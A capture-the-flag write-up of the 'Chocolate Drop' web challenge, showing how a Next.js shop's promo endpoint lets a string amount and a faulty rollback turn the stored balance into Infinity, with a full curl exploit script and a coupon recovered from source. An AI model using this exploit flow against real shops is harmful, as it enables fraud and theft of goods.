Chocolate Drop

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: infinity_balance_manipulation, javascript_type_coercion_abuse, source_code_coupon_recovery

Summary

Walkthrough of the CUSTOM Web Chocolate Drop. Task: a Next.js chocolate shop stores balances in server-side SQLite sessions and exposes a promo redemption endpoint. Solution: recover the valid coupon from source, then exploit JavaScript string-pl

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title: "Chocolate Drop" id: 20260425_alfactf_shokoladnyy_drop category: web difficulty: medium event: alfactf tags: ["sqlite", "javascript", "type_confusion", "infinity", "business_logic", "nextjs", "session_storage", "promocode"] techniques: ["infinity_balance_manipulation", "javascript_type_coercion_abuse", "source_code_coupon_recovery"] tools: ["curl", "browser_devtools", "ctfbase"] indicators: ["promo code payload is a base64-encoded JSON object with an amount field", "balance is updated before promo validation and persisted in finally", "JavaScript number plus string turns the balance into a string", "checkout trusts the server-side session value even after Infinity serializes as null"]

Chocolate Drop — AlfaCTF

Description

Шоколадный дроп

English summary: the target is a Next.js shop application with server-side SQLite-backed sessions, a promo code feature, and a hidden expensive flag item. The goal is to abuse the promo flow to raise the stored balance high enough for checkout.

Analysis

Recon

Source inspection revealed a valid promo code embedded directly in the frontend or bundled source. The code decodes from base64 into the JSON object below:

 json read-only • copy allowed Copy
{"amount":5000,"coupon":"TREAT5000"}

The interesting API route was POST /api/promocode. The handler updated session.balance before fully validating the promo payload:

1. add promo.amount to session.balance
2. later reject malformed data in a catch
3. subtract the same value in the error path
4. always persist the session in finally

That sequence is unsafe in JavaScript because + is both numeric addition and string concatenation.

Vulnerability

After redeeming the legitimate 5000 coupon once, the stored balance is the number 5000. The bug appears when the next promo uses a malformed amount value such as the string "1e305".

At that point the application effectively does:

 javascript read-only • copy allowed Copy
session.balance += "1e305";

Instead of producing a larger number, JavaScript concatenates and the balance becomes the string:

 text read-only • copy allowed Copy
"50001e305"

Later the error handler tries to roll the change back with -=. That operator forces numeric coercion first:

 javascript read-only • copy allowed Copy
session.balance -= "1e305";

Now "50001e305" is parsed as an enormous scientific-notation value, which overflows to Infinity. Then the rollback becomes:

 javascript read-only • copy allowed Copy
Infinity - 1e305 === Infinity

So the failed promo does not restore the original balance. It upgrades it to Infinity.

Persistence quirk

When the session is serialized to JSON, Infinity is shown as null, which can make debugging misleading. However, the backend still restores and uses the server-side SQLite session value during checkout, so the purchase logic treats the balance as effectively unlimited.

With that state, adding the expensive flag item to the cart and checking out succeeds. The real flag is then returned by GET /api/completed.

Reference pattern

I also checked the related CTFBase writeup 20251219_alfactf_coins after searching for javascript NaN balance type confusion. It highlighted the same family of JavaScript numeric edge cases: if balance logic mixes loose coercion, special numeric values, and weak validation, business-logic checks can often be bypassed.

Solution

The exploitation flow is short:

1. Start a fresh session.
2. Redeem the valid promo {\"amount\":5000,\"coupon\":\"TREAT5000\"}.
3. Send a malformed promo whose amount is the string "1e305".
4. Let the buggy rollback convert the balance into Infinity.
5. Add the flag item to the cart.
6. Checkout.
7. Read the flag from GET /api/completed.

Short curl example:

 bash read-only • copy allowed Copy
#!/usr/bin/env bash
BASE="https://TARGET"
COOKIE="/tmp/choco.cookie"

# 1. Create session
curl -s "$BASE/" -c "$COOKIE" > /dev/null

# 2. Redeem the real coupon
curl -s "$BASE/api/promocode" \
  -b "$COOKIE" -c "$COOKIE" \
  -H 'Content-Type: application/json' \
  -d '{"amount":5000,"coupon":"TREAT5000"}'

# 3. Trigger string concatenation, then Infinity on rollback
curl -s "$BASE/api/promocode" \
  -b "$COOKIE" -c "$COOKIE" \
  -H 'Content-Type: application/json' \
  -d '{"amount":"1e305","coupon":"BROKEN"}'

# 4. Add the expensive item and buy it
curl -s "$BASE/api/cart" \
  -b "$COOKIE" -c "$COOKIE" \
  -H 'Content-Type: application/json' \
  -d '{"item":"flag"}'

curl -s "$BASE/api/checkout" \
  -b "$COOKIE" -c "$COOKIE" \
  -X POST

# 5. Retrieve the real flag
curl -s "$BASE/api/completed" -b "$COOKIE"

The key observation is the coercion chain:

 javascript read-only • copy allowed Copy
5000 + "1e305"      // "50001e305"
"50001e305" - "1e305"  // Infinity
Infinity - 1e305     // Infinity

This is why the rollback path is exploitable even though it appears to subtract the same value it just added.

Takeaway

For JavaScript shop challenges, always test how balances behave across +, -, JSON serialization, and session persistence. Type confusion is often enough to turn a small legitimate credit into NaN or Infinity, which breaks every later price comparison.

Key Takeaways / Lessons

• Mastering infinity_balance_manipulation, javascript_type_coercion_abuse, source_code_coupon_recovery was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

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Crafted by XESXOR Research • 2026-04-25 • CUSTOM • Chocolate Drop • Difficulty: Medium